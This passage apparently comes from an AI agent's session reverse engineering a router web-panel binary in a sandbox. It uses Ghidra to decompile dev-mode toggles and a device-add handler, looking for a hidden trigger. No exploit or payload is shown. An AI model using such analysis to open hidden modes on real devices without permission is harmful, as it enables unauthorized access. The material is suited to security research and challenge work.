\".strtab::000017cc\",_ZNSt10_HashtableINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt4pairIKS5_S5_ESaIS8_ENSt8__detail10_Select1stEN4crow9ci_key_eqENSC_7ci_hashENSA_18_Mod_range_hashingENSA_20_Default_ranged_hashENSA_20_Prime_rehash_policyENSA_17_Hashtable_traitsILb1ELb0ELb0EEEE14_M_move_assignEOSK_St17integral_constantIbLb1EE.isra.0\n \".strtab::000103d8\",_ZTIN4asio6detail14typeid_wrapperINS0_13epoll_reactorEEE\n \".strtab::00022765\",asio_signal_handler\n \".strtab::0001cacb\",_ZdaPv@GLIBCXX_3.4\n \".strtab::0000f194\",_ZN4crow8mustache17rendered_templateD2Ev\n \"00079460\",\"<br><button type=\\\"submit\\\">Save as New Config</button>\"\n \".strtab::000142fe\",_ZNSt6thread11_State_implINS_8_InvokerISt5tupleIJZN4crow6ServerINS3_4CrowIJ19BasicAuthMiddlewareEEENS3_13SocketAdaptorEJS6_EE3runEvEUlvE0_EEEEED1Ev\n 000147d9,if_indextoname\n 0007c8ac,ZN4crow10TaggedRuleIJEEclIRFNS_8responseEvEEEvOT_EUlRNS_7requestERS3_E_\n 00013dbc,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_createERjj\n \".strtab::0000f65a\",_ZN19BasicAuthMiddleware17parse_credentialsERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE\n \".strtab::0001ce13\",_ZTIN4asio10io_context19basic_executor_typeISaIvELj4EEE\n \".strtab::00010f81\",_ZNSt6vectorISt4pairIccESaIS1_EED2Ev\n \"00079170\",\"<label for=\\\"port_forwards\\\">Port Forwards</label><br>\"\n \".strtab::00015d96\",_Z22devices_update_handlerRKN4crow7requestE\n \".strtab::0000f399\",_ZNSt23_Sp_counted_ptr_inplaceINSt13__future_base17_Async_state_implINSt6thread8_InvokerISt5tupleIJZN4crow6ServerINS5_4CrowIJ19BasicAuthMiddlewareEEENS5_13SocketAdaptorEJS8_EE3runEvEUlvE_EEEEvEESaIvELN9__gnu_cxx12_Lock_policyE1EED1Ev\n \".strtab::0001e017\",_ZGVN4asio6detail10call_stackINS0_14strand_service11strand_implEhE4top_E\n \"00014824\",pthread_mutex_lock\n \".strtab::000272d8\",_ZN19BasicAuthMiddleware16is_authenticatedERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES7_\n \".strtab::00014c9b\",_ZNK4crow4json6rvalueixERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE\n \".strtab::0000551e\",_ZN4asio9execution6detail17any_executor_base10require_fnINS0_12any_executorIJNS0_12context_as_tIRNS_17execution_contextEEENS1_8blocking7never_tILi0EEENS0_11prefer_onlyINS9_10possibly_tILi0EEEEENSC_INS1_16outstanding_work9tracked_tILi0EEEEENSC_INSG_11untracked_tILi0EEEEENSC_INS1_12relationship6fork_tILi0EEEEENSC_INSN_14continuation_tILi0EEEEEEEENS_10io_context19basic_executor_typeISaIvELj4EEESF_EET_PKvS11_\n \".strtab::00019b20\",__sync_sub_and_fetch_2\n 0007b1b0,N4asio6detail14typeid_wrapperINS0_22deadline_timer_serviceINS0_18chrono_time_traitsINSt6chrono3_V212system_clockENS_11wait_traitsIS6_EEEEEEEE\n 000796d0, does not exist.\n "00014594",_ZSt19__throw_logic_errorPKc\n "00079124","DNS Server 2: "\n "00076778",image/x-jng\n ".strtab::00009286",_ZTSN4asio6detail23reactive_socket_serviceINS_2ip3tcpEEE\n ".strtab::000163c6",_ZNSt13__future_base13_State_baseV29_M_do_setEPSt8functionIFSt10unique_ptrINS_12_Result_baseENS3_8_DeleterEEvEEPb\n ".strtab::00015255",_ZN4asio6detail22deadline_timer_serviceINS0_18chrono_time_traitsINSt6chrono3_V212system_clockENS_11wait_traitsIS5_EEEEED2Ev\n ".strtab::00005e82",_ZN4asio6detail17executor_function8completeINS0_7binder1IZN4crow6ServerINS4_4CrowIJ19BasicAuthMiddlewareEEENS4_13SocketAdaptorEJS7_EE3runEvEUlRKSt10error_codeE_SB_EESaIvEEEvPNS1_9impl_baseEb\n ".strtab::0000dc6e",_ZNKSt6locale2id5_M_idEv@GLIBCXX_3.4\n ".strtab::000269a4",_ZNSt19bad_optional_accessD0Ev\n ".strtab::00012b6b",_ZTSN4asio5error6detail13misc_categoryE\n 000796b8,Config \n \"00014997\",pthread_setspecific\n \".strtab::00019763\",_ZNSt23_Sp_counted_ptr_inplaceINSt13__future_base17_Async_state_implINSt6thread8_InvokerISt5tupleIJZN4crow6ServerINS5_4CrowIJ19BasicAuthMiddlewareEEENS5_13SocketAdaptorEJS8_EE3runEvEUlvE_EEEEvEESaIvELN9__gnu_cxx12_Lock_policyE1EE14_M_get_deleterERKSt9type_info\n \"00013335\",_ZSt18_Rb_tree_incrementPSt18_Rb_tree_node_base\n 000149dc,pthread_mutex_unlock\n \".strtab::000151ee\",_ZTINSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0ELb0EEE\n \".strtab::000098de\",_ZTISt19bad_optional_access\n \".strtab::00005f41\",_ZSt29_Rb_tree_insert_and_rebalancebPSt18_Rb_tree_node_baseS0_RS_@GLIBCXX_3.4\n \".strtab::0002280f\",_ZTSNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1ELb0EEE\n \"00077724\",invalid host\n \".strtab::00020695\",__sync_add_and_fetch_4\n \"00076658\",application/rss+xml\n 0001316a,_ZSt24__throw_invalid_argumentPKc\n \".strtab::000174ed\",_ZTVSt14basic_ifstreamIcSt11char_traitsIcEE@GLIBCXX_3.4\n truncated... (more than 100 strings found),truncated\nfileSize: 758568 bytes\nentryPoint: \"\""}</code></pre></details>* Call ghidra_search_functions_by_name
Arguments
{"filepath": "/sandbox/router-web-panel", "query": "dev"}
Tool result
{"result":["M_realloc_insert<std::unique_ptr<Device,std::default_delete>> @ 0007087c","devices_add_handler @ 00068e2c","devices_handler @ 00067354","devices_update_handler @ 00069834","disable_dev_mode[abi:cxx11] @ 0001fca4","enable_dev_mode[abi:cxx11] @ 0001f958","~Device @ 0006c198"]}Call ghidra_search_functions_by_name
Arguments
{"filepath": "/sandbox/router-web-panel", "query": "mode"}
Tool result
{"result":["disable_dev_mode[abi:cxx11] @ 0001fca4","enable_dev_mode[abi:cxx11] @ 0001f958"]}Call ghidra_search_functions_by_name
Arguments
{"filepath": "/sandbox/router-web-panel", "query": "devices"}
Tool result
{"result":["devices_add_handler @ 00068e2c","devices_handler @ 00067354","devices_update_handler @ 00069834"]}Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/router-web-panel", "name_or_address": "0x0001f958"}
Tool result
{"result":"\n/* WARNING: Unknown calling convention -- yet parameter storage is locked /\n/ enable_dev_modeabi:cxx11 [blocked] */\n\nvoid enable_dev_mode_abi_cxx11_(void)\n\n{\n int iVar1;\n undefined4 uVar2;\n string *in_r0;\n int iVar3;\n undefined4 uVar4;\n undefined4 uVar5;\n int iVar6;\n undefined4 uVar7;\n int iVar8;\n int iVar9;\n int iVar10;\n int iVar11;\n int local_100 [2];\n int local_f8 [8];\n undefined1 auStack_d8 [4];\n undefined4 local_d4;\n uint *local_d0;\n undefined4 local_cc;\n uint local_c8 [4];\n int local_b8 [28];\n undefined4 local_48;\n undefined2 local_44;\n undefined4 local_40;\n undefined4 local_3c;\n undefined4 local_38;\n undefined4 local_34;\n int local_2c;\n \n iVar1 = DAT_0001fc84;\n local_2c = *DAT_0001fc80;\n std::ios_base::ios_base((ios_base *)local_b8);\n iVar9 = *(int *)(iVar1 + 8);\n local_44 = 0;\n local_b8[0] = DAT_0001fc88;\n uVar4 = *(undefined4 *)(iVar1 + 0xc);\n local_48 = 0;\n local_40 = 0;\n local_3c = 0;\n local_38 = 0;\n local_34 = 0;\n local_100[0] = iVar9;\n *(undefined4 *)((int)local_100 + *(int *)(iVar9 + -0xc)) = uVar4;\n local_100[1] = 0;\n std::ios::init((streambuf *)((int)local_100 + *(int *)(iVar9 + -0xc)));\n iVar6 = *(int *)(iVar1 + 0x10);\n iVar3 = *(int *)(iVar6 + -0xc);\n uVar7 = *(undefined4 *)(iVar1 + 0x14);\n local_f8[0] = iVar6;\n *(undefined4 *)((ostream *)local_f8 + iVar3) = uVar7;\n std::ios::init((streambuf *)((ostream *)local_f8 + iVar3));\n uVar2 = DAT_0001fc94;\n iVar3 = DAT_0001fc8c;\n iVar8 = *(int *)(iVar1 + 4);\n uVar5 = *(undefined4 *)(iVar1 + 0x18);\n *(undefined4 *)((int)local_100 + *(int *)(iVar8 + -0xc)) = uVar5;\n local_f8[1] = DAT_0001fc90;\n iVar11 = DAT_0001fc8c + 0x28;\n iVar10 = DAT_0001fc8c + 0x14;\n local_f8[2] = 0;\n local_f8[3] = 0;\n local_f8[4] = 0;\n local_f8[5] = 0;\n local_f8[6] = 0;\n local_f8[7] = 0;\n local_100[0] = DAT_0001fc8c;\n local_f8[0] = iVar10;\n local_b8[0] = iVar11;\n std::locale::locale(auStack_d8);\n local_cc = 0;\n local_c8[0] = local_c8[0] & 0xffffff00;\n local_d4 = 0x18;\n local_f8[1] = uVar2;\n local_d0 = local_c8;\n std::ios::init((streambuf *)local_b8);\n std::__ostream_insert<char,std::char_traits>((ostream *)local_f8,DAT_0001fc98,0x1d);\n iVar1 = DAT_0001fc9c;\n std::ostream::_M_insert(SUB41((ostream *)local_f8,0));\n *(undefined1 *)(iVar1 + 0x54) = 1;\n *(undefined4 *)(in_r0 + 4) = 0;\n in_r0[8] = (string)0x0;\n *(string **)in_r0 = in_r0 + 8;\n if (local_f8[6] == 0) {\n std::__cxx11::string::_M_assign(in_r0);\n }\n else {\n std::__cxx11::string::_M_replace((uint)in_r0,0,(char *)0x0,local_f8[5]);\n }\n local_100[0] = iVar3;\n local_f8[1] = uVar2;\n local_f8[0] = iVar10;\n local_b8[0] = iVar11;\n if (local_d0 != local_c8) {\n operator_delete(local_d0,local_c8[0] + 1);\n }\n local_f8[1] = DAT_0001fc90;\n std::locale::~locale(auStack_d8);\n *(undefined4 *)((int)local_100 + *(int *)(iVar8 + -0xc)) = uVar5;\n local_f8[0] = iVar6;\n *(undefined4 *)((int)local_f8 + *(int *)(iVar6 + -0xc)) = uVar7;\n local_100[0] = iVar9;\n *(undefined4 *)((int)local_100 + *(int *)(iVar9 + -0xc)) = uVar4;\n local_100[1] = 0;\n local_b8[0] = DAT_0001fc88;\n std::ios_base::~ios_base((ios_base *)local_b8);\n if (local_2c != DAT_0001fc80) {\n / WARNING: Subroutine does not return /\n __stack_chk_fail();\n }\n return;\n}\n\n"}Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/router-web-panel", "name_or_address": "0x0001fca4"}
Tool result
{"result":"\n/* WARNING: Unknown calling convention -- yet parameter storage is locked /\n/ disable_dev_modeabi:cxx11 [blocked] */\n\nvoid disable_dev_mode_abi_cxx11_(void)\n\n{\n int iVar1;\n undefined4 uVar2;\n string *in_r0;\n int iVar3;\n undefined4 uVar4;\n undefined4 uVar5;\n int iVar6;\n undefined4 uVar7;\n int iVar8;\n int iVar9;\n int iVar10;\n int iVar11;\n int local_100 [2];\n int local_f8 [8];\n undefined1 auStack_d8 [4];\n undefined4 local_d4;\n uint *local_d0;\n undefined4 local_cc;\n uint local_c8 [4];\n int local_b8 [28];\n undefined4 local_48;\n undefined2 local_44;\n undefined4 local_40;\n undefined4 local_3c;\n undefined4 local_38;\n undefined4 local_34;\n int local_2c;\n \n iVar1 = DAT_0001ffcc;\n local_2c = *DAT_0001ffc8;\n std::ios_base::ios_base((ios_base *)local_b8);\n iVar9 = *(int *)(iVar1 + 8);\n local_44 = 0;\n local_b8[0] = DAT_0001ffd0;\n uVar4 = *(undefined4 *)(iVar1 + 0xc);\n local_48 = 0;\n local_40 = 0;\n local_3c = 0;\n local_38 = 0;\n local_34 = 0;\n local_100[0] = iVar9;\n *(undefined4 *)((int)local_100 + *(int *)(iVar9 + -0xc)) = uVar4;\n local_100[1] = 0;\n std::ios::init((streambuf *)((int)local_100 + *(int *)(iVar9 + -0xc)));\n iVar6 = *(int *)(iVar1 + 0x10);\n iVar3 = *(int *)(iVar6 + -0xc);\n uVar7 = *(undefined4 *)(iVar1 + 0x14);\n local_f8[0] = iVar6;\n *(undefined4 *)((ostream *)local_f8 + iVar3) = uVar7;\n std::ios::init((streambuf *)((ostream *)local_f8 + iVar3));\n uVar2 = DAT_0001ffdc;\n iVar3 = DAT_0001ffd4;\n iVar8 = *(int *)(iVar1 + 4);\n uVar5 = *(undefined4 *)(iVar1 + 0x18);\n *(undefined4 *)((int)local_100 + *(int *)(iVar8 + -0xc)) = uVar5;\n local_f8[1] = DAT_0001ffd8;\n iVar11 = DAT_0001ffd4 + 0x28;\n iVar10 = DAT_0001ffd4 + 0x14;\n local_f8[2] = 0;\n local_f8[3] = 0;\n local_f8[4] = 0;\n local_f8[5] = 0;\n local_f8[6] = 0;\n local_f8[7] = 0;\n local_100[0] = DAT_0001ffd4;\n local_f8[0] = iVar10;\n local_b8[0] = iVar11;\n std::locale::locale(auStack_d8);\n local_cc = 0;\n local_c8[0] = local_c8[0] & 0xffffff00;\n local_d4 = 0x18;\n local_f8[1] = uVar2;\n local_d0 = local_c8;\n std::ios::init((streambuf *)local_b8);\n std::__ostream_insert<char,std::char_traits>((ostream *)local_f8,DAT_0001ffe0,0x1e);\n iVar1 = DAT_0001ffe4;\n std::ostream::_M_insert(SUB41((ostream *)local_f8,0));\n *(undefined1 *)(iVar1 + 0x54) = 0;\n *(undefined4 *)(in_r0 + 4) = 0;\n in_r0[8] = (string)0x0;\n *(string **)in_r0 = in_r0 + 8;\n if (local_f8[6] == 0) {\n std::__cxx11::string::_M_assign(in_r0);\n }\n else {\n std::__cxx11::string::_M_replace((uint)in_r0,0,(char *)0x0,local_f8[5]);\n }\n local_100[0] = iVar3;\n local_f8[1] = uVar2;\n local_f8[0] = iVar10;\n local_b8[0] = iVar11;\n if (local_d0 != local_c8) {\n operator_delete(local_d0,local_c8[0] + 1);\n }\n local_f8[1] = DAT_0001ffd8;\n std::locale::~locale(auStack_d8);\n *(undefined4 *)((int)local_100 + *(int *)(iVar8 + -0xc)) = uVar5;\n local_f8[0] = iVar6;\n *(undefined4 *)((int)local_f8 + *(int *)(iVar6 + -0xc)) = uVar7;\n local_100[0] = iVar9;\n *(undefined4 *)((int)local_100 + *(int *)(iVar9 + -0xc)) = uVar4;\n local_100[1] = 0;\n local_b8[0] = DAT_0001ffd0;\n std::ios_base::~ios_base((ios_base *)local_b8);\n if (local_2c != DAT_0001ffc8) {\n / WARNING: Subroutine does not return /\n __stack_chk_fail();\n }\n return;\n}\n\n"}Call ghidra_decompile_function
Arguments
{"filepath": "/sandbox/router-web-panel", "name_or_address": "0x00068e2c"}
Tool result
{"result":"Succeeded and the artifact is saved at /sandbox/ghidra/decompiled_0x68e2c.txt. Please find the table of contents below. \n[{'funcName': 'response', 'lineNum': 72}, {'funcName': 'get_body_params', 'lineNum': 73}, {'funcName': 'string<std::allocator>', 'lineNum': 74}, {'funcName': 'strlen', 'lineNum': 77}, {'funcName': 'qs_strncmp', 'lineNum': 87}, {'funcName': 'strcspn', 'lineNum': 89}, {'funcName': 'string<std::allocator>', 'lineNum': 102}, {'funcName': '_M_dispose', 'lineNum': 103}, {'funcName': 'operator.delete', 'lineNum': 105}, {'funcName': '_M_dispose', 'lineNum': 107}, {'funcName': 'get_body_params', 'lineNum': 108}, {'funcName': 'string<std::allocator>', 'lineNum': 109}, {'funcName': 'string<std::allocator>', 'lineNum': 110}, {'funcName': 'strlen', 'lineNum': 113}, {'funcName': 'qs_strncmp', 'lineNum': 123}, {'funcName': 'strcspn', 'lineNum': 125}, {'funcName': 'string<std::allocator>', 'lineNum': 138}, {'funcName': '_M_dispose', 'lineNum': 139}, {'funcName': 'operator.delete', 'lineNum': 141}, {'funcName': '_M_dispose', 'lineNum': 143}, {'funcName': 'get_body_params', 'lineNum': 144}, {'funcName': 'string<std::allocator>', 'lineNum': 145}, {'funcName': 'string<std::allocator>', 'lineNum': 146}, {'funcName': 'strlen', 'lineNum': 149}, {'funcName': 'qs_strncmp', 'lineNum': 159}, {'funcName': 'strcspn', 'lineNum': 161}, {'funcName': 'string<std::allocator>', 'lineNum': 174}, {'funcName': '_M_dispose', 'lineNum': 175}, {'funcName': 'operator.delete', 'lineNum': 177}, {'funcName': '_M_dispose', 'lineNum': 179}, {'funcName': 'get_body_params', 'lineNum': 180}, {'funcName': 'string<std::allocator>', 'lineNum': 181}, {'funcName': 'string<std::allocator>', 'lineNum': 182}, {'funcName': 'strlen', 'lineNum': 185}, {'funcName': 'qs_strncmp', 'lineNum': 194}, {'funcName': 'strcspn', 'lineNum': 196}, {'funcName': 'string<std::allocator>', 'lineNum': 209}, {'funcName': '_M_dispose', 'lineNum': 210}, {'funcName': 'operator.delete', 'lineNum': 212}, {'funcName': '_M_dispose', 'lineNum': 214}, {'funcName': 'parse_mac_addr', 'lineNum': 216}, {'funcName': 'memcmp', 'lineNum': 218}, {'funcName': 'operator.new', 'lineNum': 220}, {'funcName': 'memcpy', 'lineNum': 234}, {'funcName': '_M_replace', 'lineNum': 235}, {'funcName': 'assign', 'lineNum': 238}, {'funcName': 'memcmp', 'lineNum': 243}, {'funcName': 'operator.new', 'lineNum': 245}, {'funcName': 'memcpy', 'lineNum': 259}, {'funcName': '_M_replace', 'lineNum': 260}, {'funcName': 'assign', 'lineNum': 263}, {'funcName': 'memcmp', 'lineNum': 267}, {'funcName': 'operator.new', 'lineNum': 268}, {'funcName': 'memcpy', 'lineNum': 282}, {'funcName': '_M_replace', 'lineNum': 283}, {'funcName': 'assign', 'lineNum': 290}, {'funcName': 'assign', 'lineNum': 291}, {'funcName': 'operator.new', 'lineNum': 294}, {'funcName': 'memcpy', 'lineNum': 306}, {'funcName': '_M_replace', 'lineNum': 307}, {'funcName': '(register, 0x2c, 4)', 'lineNum': 311}, {'funcName': 'parse_ip_addr', 'lineNum': 314}, {'funcName': 'memcpy', 'lineNum': 317}, {'funcName': 'memcpy', 'lineNum': 320}, {'funcName': 'memcpy', 'lineNum': 325}, {'funcName': 'memcpy', 'lineNum': 328}, {'funcName': 'pthread_mutex_lock', 'lineNum': 332}, {'funcName': '_M_realloc_insert<std::unique_ptr<Device,std::default_delete>>', 'lineNum': 339}, {'funcName': '_M_realloc_insert<std::unique_ptr<Device,std::default_delete>>', 'lineNum': 340}, {'funcName': 'string<std::allocator>', 'lineNum': 350}, {'funcName': 'redirect_see_other', 'lineNum': 351}, {'funcName': '_M_dispose', 'lineNum': 352}, {'funcName': 'pthread_mutex_unlock', 'lineNum': 353}, {'funcName': '_M_dispose', 'lineNum': 356}, {'funcName': '_M_dispose', 'lineNum': 357}, {'funcName': 'operator.delete', 'lineNum': 358}, {'funcName': '_M_dispose', 'lineNum': 360}, {'funcName': '_M_dispose', 'lineNum': 361}, {'funcName': '_M_dispose', 'lineNum': 362}, {'funcName': '_M_dispose', 'lineNum': 363}, {'funcName': '__throw_system_error', 'lineNum': 369}, {'funcName': '_M_dispose', 'lineNum': 370}, {'funcName': '~vector', 'lineNum': 371}, {'funcName': '_M_dispose', 'lineNum': 373}, {'funcName': '_M_dispose', 'lineNum': 374}, {'funcName': '~response', 'lineNum': 375}, {'funcName': '__cxa_end_cleanup', 'lineNum': 378}, {'funcName': '__stack_chk_fail', 'lineNum': 382}]"}Call ghidra_get_xrefs_to
Arguments
{"filepath": "/sandbox/router-web-panel", "address": "0x0001f958"}
Tool result
{"result":["From Entry Point [EXTERNAL]"]}Call ghidra_read_artifact_snippet
Arguments
{"artifact_path": "/sandbox/ghidra/decompiled_0x68e2c.txt", "line_number": 220}
Tool result
{"result":" }\n break;\n }\n uVar10 = uVar10 + 1;\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_13;\n } while (uVar10 < (uint)((int)local_34 - (int)pvVar3 >> 2));\n }\n std::__cxx11::string::string<std::allocator>((string *)&local_80,pcVar6,paVar7);\n std::__cxx11::string::_M_dispose();\n if (local_38 != (void *)0x0) {\n operator_delete(local_38,local_30 - (int)local_38);\n }\n std::__cxx11::string::_M_dispose();\n local_fc = (undefined4 *)0x0;\n parse_mac_addr((string *)&local_f8);\n if (local_7c == 6) {\n iVar12 = memcmp(local_80,DAT_00069828,6);\n if (iVar12 == 0) {\n puVar11 = (undefined4 *)operator_new(0x4c);\n uVar9 = DAT_000697f8;\n local_f0 = local_f8;\n local_e4 = uStack_f4;\n _local_ec = CONCAT22(uStack_ea,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_e8 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_e8,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n pcVar2 = DAT_00069830;\n *puVar11 = DAT_0006982c;\n std::__cxx11::string::assign((string *)(puVar11 + 1),pcVar2);\n goto LAB_000691d8;\n }"}Call ghidra_list_strings
Arguments
{"filepath": "/sandbox/router-web-panel", "filter": "00:00:00:00:00"}
Tool result
{"result":[]}Call ghidra_get_data_by_address
Arguments
{"filepath": "/sandbox/router-web-panel", "address": "0x00069828"}
Tool result
{"result":"000798B8h"}Call ghidra_get_data_by_address
Arguments
{"filepath": "/sandbox/router-web-panel", "address": "0x000798B8"}
Tool result
{"result":"No data found at address"}Call ghidra_read_artifact_snippet
Arguments
{"artifact_path": "/sandbox/ghidra/decompiled_0x68e2c.txt", "line_number": 243}
Tool result
{"result":" _local_ec = CONCAT22(uStack_ea,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_e8 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_e8,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n pcVar2 = DAT_00069830;\n *puVar11 = DAT_0006982c;\n std::__cxx11::string::assign((string *)(puVar11 + 1),pcVar2);\n goto LAB_000691d8;\n }\n }\n else if (local_7c == 5) {\n iVar12 = memcmp(local_80,DAT_000697f4,5);\n if (iVar12 == 0) {\n puVar11 = (undefined4 *)operator_new(0x4c);\n uVar9 = DAT_000697f8;\n local_e0 = local_f8;\n local_d4 = uStack_f4;\n _local_dc = CONCAT22(uStack_da,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_d8 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_d8,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n pcVar2 = DAT_00069824;\n *puVar11 = DAT_00069820;\n std::__cxx11::string::assign((string )(puVar11 + 1),pcVar2);"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && strings router-web-panel | grep -i \"00:00:00\""}
Tool result
{"exitCode":1,"stdout":"","stderr":""}Call ghidra_read_artifact_snippet
Arguments
{"artifact_path": "/sandbox/ghidra/decompiled_0x68e2c.txt", "line_number": 267}
Tool result
{"result":" local_d4 = uStack_f4;\n _local_dc = CONCAT22(uStack_da,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_d8 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_d8,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n pcVar2 = DAT_00069824;\n *puVar11 = DAT_00069820;\n std::__cxx11::string::assign((string *)(puVar11 + 1),pcVar2);\n goto LAB_000691d8;\n }\n }\n else if ((local_7c == 7) && (iVar12 = memcmp(local_80,DAT_00069810,7), iVar12 == 0)) {\n puVar11 = (undefined4 *)operator_new(0xa8);\n uVar9 = DAT_000697f8;\n local_d0 = local_f8;\n local_64 = uStack_f4;\n _local_cc = CONCAT22(uStack_ca,uStack_f4);\n *puVar11 = DAT_000697f8;\n puVar11[1] = puVar11 + 3;\n local_68 = local_f8;\n puVar11[7] = puVar11 + 9;\n puVar11[2] = 0;\n *(undefined1 *)(puVar11 + 3) = 0;\n puVar11[8] = 0;\n *(undefined1 *)(puVar11 + 9) = 0;\n *(undefined1 *)(puVar11 + 0x11) = 0;\n memcpy((void *)((int)puVar11 + 0x46),&local_68,6);\n std::__cxx11::string::_M_replace((uint)(puVar11 + 1),0,(char *)0x0,DAT_000697fc);\n *puVar11 = DAT_00069814;\n pcVar2 = DAT_00069818;\n puVar11[0x13] = puVar11 + 0x15;\n puVar11[0x14] = 0;"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && hexdump -C router-web-panel | grep -A2 -B2 \"64 65 76\" | head -50"}
Tool result
{"exitCode":0,"stdout":"","stderr":"/bin/bash: line 1: hexdump: command not found\n"}Call ghidra_read_artifact
Arguments
{"artifact_path": "/sandbox/ghidra/decompiled_0x68e2c.txt"}
Tool result
{"result":"\n/* devices_add_handler(crow::request const&) */\n\nrequest * devices_add_handler(request *param_1)\n\n{\n vector<std::unique_ptr<Device,std::default_delete>,std::allocator<std::unique_ptr<Device,std::default_delete>>>\n *pvVar1;\n char *pcVar2;\n void *pvVar3;\n size_t sVar4;\n int iVar5;\n char *pcVar6;\n allocator *extraout_r2;\n allocator *extraout_r2_00;\n allocator *extraout_r2_01;\n allocator *extraout_r2_02;\n allocator *extraout_r2_03;\n allocator *extraout_r2_04;\n allocator *extraout_r2_05;\n allocator *extraout_r2_06;\n allocator *extraout_r2_07;\n allocator *extraout_r2_08;\n allocator *extraout_r2_09;\n allocator *extraout_r2_10;\n allocator *extraout_r2_11;\n allocator *extraout_r2_12;\n allocator *extraout_r2_13;\n allocator *extraout_r2_14;\n allocator *extraout_r2_15;\n allocator *paVar7;\n allocator *extraout_r2_16;\n char *pcVar8;\n undefined4 uVar9;\n uint uVar10;\n undefined4 *puVar11;\n int iVar12;\n undefined4 *local_fc;\n char *local_f8;\n undefined2 uStack_f4;\n char *local_f0;\n undefined2 local_ec;\n undefined2 uStack_ea;\n char *local_e8;\n undefined2 local_e4;\n char *local_e0;\n undefined2 local_dc;\n undefined2 uStack_da;\n char *local_d8;\n undefined2 local_d4;\n char *local_d0;\n undefined2 local_cc;\n undefined2 uStack_ca;\n string asStack_c8 [4];\n int local_c4;\n string asStack_b0 [4];\n int local_ac;\n string asStack_98 [24];\n void *local_80;\n int local_7c;\n char *local_68;\n undefined2 local_64;\n char *local_50;\n undefined2 local_4c;\n char local_40;\n void *local_38;\n void *local_34;\n int local_30;\n int local_2c;\n \n local_2c = *DAT_000697dc;\n crow::response::response((response *)param_1);\n crow::request::get_body_params();\n std::__cxx11::string::string<std::allocator>((string *)&local_68,DAT_000697e0,extraout_r2);\n pvVar3 = local_38;\n pcVar2 = local_68;\n sVar4 = strlen(local_68);\n iVar12 = (int)local_34 - (int)pvVar3;\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_00;\n if (pvVar3 != local_34) {\n puVar11 = (undefined4 *)((int)pvVar3 + -4);\n uVar10 = 0;\n do {\n puVar11 = puVar11 + 1;\n pcVar8 = (char *)*puVar11;\n iVar5 = crow::qs_strncmp(pcVar2,pcVar8,sVar4);\n if (iVar5 == 0) {\n sVar4 = strcspn(pcVar8,DAT_000697e4);\n pcVar6 = pcVar8 + sVar4;\n paVar7 = extraout_r2_02;\n if (pcVar8[sVar4] == '=') {\n pcVar6 = pcVar8 + sVar4 + 1;\n }\n break;\n }\n uVar10 = uVar10 + 1;\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_01;\n } while (uVar10 < (uint)(iVar12 >> 2));\n }\n std::__cxx11::string::string<std::allocator>(asStack_c8,pcVar6,paVar7);\n std::__cxx11::string::_M_dispose();\n if (local_38 != (void *)0x0) {\n operator_delete(local_38,local_30 - (int)local_38);\n }\n std::__cxx11::string::_M_dispose();\n crow::request::get_body_params();\n std::__cxx11::string::string<std::allocator>\n ((string *)&local_68,DAT_000697e8,extraout_r2_03);\n pvVar3 = local_38;\n pcVar2 = local_68;\n sVar4 = strlen(local_68);\n iVar12 = (int)local_34 - (int)pvVar3;\n pcVar6 = DAT_0006980c;\n paVar7 = extraout_r2_04;\n if (pvVar3 != local_34) {\n puVar11 = (undefined4 *)((int)pvVar3 + -4);\n uVar10 = 0;\n do {\n puVar11 = puVar11 + 1;\n pcVar8 = (char *)*puVar11;\n iVar5 = crow::qs_strncmp(pcVar2,pcVar8,sVar4);\n if (iVar5 == 0) {\n sVar4 = strcspn(pcVar8,DAT_000697e4);\n pcVar6 = pcVar8 + sVar4;\n paVar7 = extraout_r2_06;\n if (pcVar8[sVar4] == '=') {\n pcVar6 = pcVar8 + sVar4 + 1;\n }\n break;\n }\n uVar10 = uVar10 + 1;\n pcVar6 = DAT_0006980c;\n 